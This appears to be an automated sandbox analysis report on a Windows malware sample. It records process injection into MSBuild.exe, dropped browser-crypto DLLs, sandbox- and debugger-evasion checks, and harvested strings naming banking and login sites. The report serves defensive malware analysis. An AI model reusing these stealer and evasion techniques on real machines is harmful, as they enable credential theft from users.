Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000002.00000002.2499120866.000000006BEDF000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr, vcruntime140[1].dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr, msvcp140[1].dll.2.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000002.00000002.2499120866.000000006BEDF000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr

Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_00419860

Source: freebl3.dll.2.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.2.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.2.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.2.dr	Static PE information: section name: .didat
Source: nss3.dll.2.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.2.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DC71AD push ecx; ret	0_2_00DC71C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E07F0D push ecx; ret	0_2_00E07F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041B035 push ecx; ret	2_2_0041B048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCDB536 push ecx; ret	2_2_6BCDB549

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

2_2_00419860

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_2-85615

Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 2082			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 3769			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	API coverage: 4.2 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API coverage: 6.0 %

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DD9ABF FindFirstFileExW,	0_2_00DD9ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_0040E430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_00414910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040BE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_004016D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040DA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_00413EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040F6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	2_2_004138B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	2_2_00414570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	2_2_0040ED20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040DE10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00401160 GetSystemInfo,ExitProcess,

2_2_00401160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: EBGCBAFC.2.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: EBGCBAFC.2.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: EBGCBAFC.2.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001451000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: EBGCBAFC.2.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: MSBuild.exe, 00000002.00000002.2473207536.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@}E
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: EBGCBAFC.2.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: EBGCBAFC.2.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: EBGCBAFC.2.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: EBGCBAFC.2.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: EBGCBAFC.2.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: EBGCBAFC.2.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: MSBuild.exe, 00000002.00000002.2473207536.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: EBGCBAFC.2.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: EBGCBAFC.2.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: EBGCBAFC.2.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: EBGCBAFC.2.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: EBGCBAFC.2.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: EBGCBAFC.2.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: EBGCBAFC.2.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: EBGCBAFC.2.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: EBGCBAFC.2.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: EBGCBAFC.2.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: EBGCBAFC.2.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: EBGCBAFC.2.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: EBGCBAFC.2.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: EBGCBAFC.2.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: EBGCBAFC.2.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: EBGCBAFC.2.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: EBGCBAFC.2.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: EBGCBAFC.2.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: EBGCBAFC.2.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: EBGCBAFC.2.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: EBGCBAFC.2.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_2-86778
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_2-85600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_2-85603
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_2-85643
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_2-85622
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_2-85614
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_2-85443

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DC7922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00DC7922

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

2_2_004045C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

2_2_00419860

